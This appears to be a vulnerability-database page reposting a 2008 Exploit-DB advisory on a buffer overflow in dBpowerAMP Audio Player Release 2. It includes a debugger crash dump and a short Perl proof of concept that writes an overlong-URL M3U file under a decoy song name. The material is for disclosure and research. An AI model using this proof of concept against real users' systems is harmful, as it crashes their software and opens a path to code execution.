dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

vendor:

Audio Player

by:

Securfrog

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Audio Player

Affected Version From: Release 2

Affected Version To: Release 2

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2008

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

A buffer overflow vulnerability exists in dBpowerAMP Audio Player Release 2. An attacker can exploit this vulnerability by creating a malicious M3U file with a long URL and sending it to the target user. When the target user opens the malicious M3U file, the buffer overflow will occur, allowing the attacker to execute arbitrary code on the target system.

Mitigation:

Upgrade to the latest version of dBpowerAMP Audio Player Release 2.

Source

Exploit-DB raw data:

# dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

# 0:002> r
# eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217
# eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# 00004141 ?? ???

# EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)
# ExceptionAddress: 00004141
# ExceptionCode: c0000005 (Access violation)
# ExceptionFlags: 00000000
# NumberParameters: 2
# Parameter[0]: 00000000
# Parameter[1]: 00004141
# Attempt to read from address 00004141
# 
# PoC :
# 
my $file="bob_marley_I_Shot_The_Sheriff.m3u";

open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE "http://"."A" x 255;
close($FILE);
print "$file has been created \n";
print "Credits:Securfrog";

# milw0rm.com [2008-02-05]